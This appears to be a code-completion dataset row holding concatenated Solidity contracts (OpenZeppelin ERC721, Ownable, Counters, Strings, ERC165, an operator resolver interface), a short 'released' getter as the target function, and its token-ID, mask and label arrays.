import "../abstracts/MixinOperatorResolver.sol";
/// @title Operator address resolver interface
interface IOperatorResolver {
/// @dev Represents an operator definition
/// @param implementation Contract address
/// @param selector Function selector
struct Operator {
address implementation;
bytes4 selector;
}
/// @notice Emitted when an operator is imported
/// @param name The operator name
/// @param destination The operator definition
event OperatorImported(bytes32 name, Operator destination);
/// @notice Get an operator (address/selector) for a given name
/// @param name The operator name
/// @return The operator struct (address/selector)
function getOperator(bytes32 name) external view returns (Operator memory);
/// @notice Get an operator (address/selector) for a given name but require the operator to exist.
/// @param name The operator name
/// @param reason Require message
/// @return The operator struct (address/selector)
function requireAndGetOperator(bytes32 name, string calldata reason) external view returns (Operator memory);
/// @notice Check if some operators are imported with the right name (and vice versa)
/// @dev The check is performed on the index, make sure that the two arrays match
/// @param names The operator names
/// @param destinations The operator addresses
/// @return True if all the addresses/names are correctly imported, false otherwise
function areOperatorsImported(bytes32[] calldata names, Operator[] calldata destinations)
external
view
returns (bool);
/// @notice Import/replace operators
/// @dev names and destinations arrays must coincide
/// @param names Hashes of the operators names to register
/// @param operatorsToImport Operators to import
/// @param destinations Destinations to rebuild cache atomically
function importOperators(
bytes32[] calldata names,
Operator[] calldata operatorsToImport,
MixinOperatorResolver[] calldata destinations
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "@openzeppelin/contracts/access/Ownable.sol";
/// @title Asbtract "Ownable" contract managing a whitelist of factories
abstract contract OwnableFactoryHandler is Ownable {
/// @dev Emitted when a new factory is added
/// @param newFactory Address of the new factory
event FactoryAdded(address newFactory);
/// @dev Emitted when a factory is removed
/// @param oldFactory Address of the removed factory
event FactoryRemoved(address oldFactory);
/// @dev Supported factories to interact with
mapping(address => bool) public supportedFactories;
/// @dev Reverts the transaction if the caller is a supported factory
modifier onlyFactory() {
require(supportedFactories[msg.sender], "OFH: FORBIDDEN");
_;
}
/// @notice Add a supported factory
/// @param _factory The address of the new factory
function addFactory(address _factory) external onlyOwner {
require(_factory != address(0), "OFH: INVALID_ADDRESS");
supportedFactories[_factory] = true;
emit FactoryAdded(_factory);
}
/// @notice Remove a supported factory
/// @param _factory The address of the factory to remove
function removeFactory(address _factory) external onlyOwner {
require(supportedFactories[_factory], "OFH: NOT_SUPPORTED");
supportedFactories[_factory] = false;
emit FactoryRemoved(_factory);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
|
@notice Getter for the amount of Ether already released to a shareholders. @param _account The target account for this request @param _token Payment token address @return The amount already released to this account
|
function released(address _account, address _token) external view returns (uint256) {
return tokenRecords[_token].released[_account];
}
| 427,677 |
[
1,
8461,
364,
326,
3844,
434,
512,
1136,
1818,
15976,
358,
279,
7433,
9000,
18,
225,
389,
4631,
1021,
1018,
2236,
364,
333,
590,
225,
389,
2316,
12022,
1147,
1758,
327,
1021,
3844,
1818,
15976,
358,
333,
2236,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
15976,
12,
2867,
389,
4631,
16,
1758,
389,
2316,
13,
3903,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
1147,
6499,
63,
67,
2316,
8009,
9340,
72,
63,
67,
4631,
15533,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
